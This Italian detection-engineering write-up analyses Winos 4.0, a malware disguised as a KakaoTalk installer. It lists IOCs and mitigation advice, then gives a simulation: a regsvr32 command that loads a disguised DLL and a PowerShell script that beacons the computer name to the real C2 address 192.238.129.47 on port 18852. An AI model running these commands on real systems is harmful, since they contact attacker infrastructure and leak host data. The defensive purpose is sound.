Malware Winos 4.0 che si maschera da programma di installazione di KakaoTalk

Sintesi

Gli attaccanti hanno abusato del SEO poisoning per spingere un falso installer di KakaoTalk in cima ai risultati di ricerca. L’installer conteneva un certificato di firma del codice non valido e incorporava un pacchetto NSIS che scartava file dannosi tra cui Verifier.exe e AutoRecoverDat.dll. Una volta eseguito, il malware raggiungeva la persistenza attraverso la registrazione DLL, attività pianificate e un mutex, quindi si collegava a due server C2 separati. Le sue capacità includevano la cattura dello schermo, la profilazione del sistema e l’esecuzione in memoria di payload aggiuntivi.

Indagine

Il Centro di Intelligence sulla Sicurezza di AhnLab ha riportato più di 5.000 PC compromessi dopo l’inizio della campagna il 9 marzo. Le analisi hanno mostrato che i payload NSIS criptati decrittavano e lasciavano cadere Verifier.exe e AutoRecoverDat.dll, creavano un mutex e caricavano shellcode dai file GPUCache.xml. A seconda del ramo dello shellcode, il malware contattava l’infrastruttura C2 a 192.238.129.47 o 119.28.70.225. La persistenza veniva mantenuta tramite la registrazione DLL e attività pianificate che lanciavano o Verifier.exe o rundll32 con la DLL dannosa.

Mitigazione

Le organizzazioni dovrebbero bloccare i domini malevoli e gli URL di download associati alla campagna. Applicare una rigorosa validazione della firma del codice e prevenire l’esecuzione di binari con certificati non validi. Si dovrebbe usare l’allowlisting delle applicazioni per bloccare l’esecuzione di installer NSIS sconosciuti. I team di sicurezza dovrebbero anche monitorare lo specifico mutex, attività pianificate sospette e cambiamenti nel registro evidenziati nel rapporto.

Risposta

I team di rilevamento dovrebbero allertare sulla creazione del mutex 77825d8f-46d1-42d0-b298-83068bf9e31d e sulle attività pianificate sotto MicrosoftWindowsAppID. Cacciare Verifier.exe e AutoRecoverDat.dll all’interno delle directory dei profili utente e bloccare il traffico in uscita verso gli IP e le porte C2 noti. Eseguire un’analisi forense dei sistemi colpiti e rimuovere completamente tutti i manufatti di persistenza e i componenti dannosi.

Esecuzione della Simulazione

Prerequisito: Il Controllo Preventivo di Telemetria & Baseline deve essere superato.

Ragionamento: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione devono riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione & Comandi dell’Attacco:

  L’avversario ha già posizionato DLL dannose all’interno della %LOCALAPPDATA%MicrosoftWindowsGPUCache directory, mascherandosi come file cache legittimi. Per eseguire il payload, l’attore della minaccia sfrutta Regsvr32 (T1218.012) per caricare la DLL, usa poi il componente caricato per avviare comunicazioni C2 sulla porta TCP 18852 (o sulla porta HTTPS 443) al server hard‑coded 192.238.129.47. Questo flusso di rete è l’indicatore visibile che la regola Sigma osserva.

  1. Caricare DLL dannosa tramite Regsvr32

     regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"

  2. Iniziare il segnale C2 (la DLL dannosa apre un socket TCP verso il server C2). Per i test, emuliamo il segnale con un semplice client TCP PowerShell che si connette allo stesso IP/porta.

     $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
     $stream = $c2.GetStream()
     $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
     $stream.Write($payload,0,$payload.Length)
     $stream.Close()
     $c2.Close()

• Script di Test di Regressione: Il seguente script riproduce i passaggi sopra descritti end-to-end e genererà la telemetria di rete esatta che la regola Sigma si aspetta.

  # -------------------------------------------------
  # Simulazione C2 Winos4.0 – attiva la regola Sigma
  # -------------------------------------------------
  # 1. Caricare la DLL malevola (simulata) attraverso Regsvr32
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Write-Host "[*] Registrazione DLL malevola via Regsvr32..."
      regsvr32 /s $dllPath
  } else {
      Write-Error "[-] DLL simulata non trovata in $dllPath – annullamento."
      exit 1
  }
  
  # 2. Emulare il segnale C2 al IP/porta codificati
  $c2IP   = '192.238.129.47'
  $c2Port = 18852
  
  Write-Host "[*] Stabilire connessione TCP verso $c2IP:$c2Port ..."
  try {
      $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
      $stream = $client.GetStream()
      $msg    = "Segnale da $env:COMPUTERNAME a $(Get-Date -Format o)"
      $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
      $stream.Write($bytes,0,$bytes.Length)
      Write-Host "[+] Segnale inviato."
  } catch {
      Write-Error "[-] Connessione fallita: $_"
  } finally {
      if ($stream) { $stream.Close() }
      if ($client) { $client.Close() }
  }
  # -------------------------------------------------

• Comandi di Pulizia: Rimuovere eventuali artefatti temporanei e chiudere connessioni residue.

  # Rimuovere la DLL malevola simulata (se era un artefatto di test)
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Remove-Item -Path $dllPath -Force
      Write-Host "[*] Ripulita la DLL simulata."
  }
  
  # Garantire che non rimangano ascoltatori TCP orfani (improbabile per solo lato client)
  Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
      # Nessuna azione necessaria; le connessioni sono chiuse nello script.
  }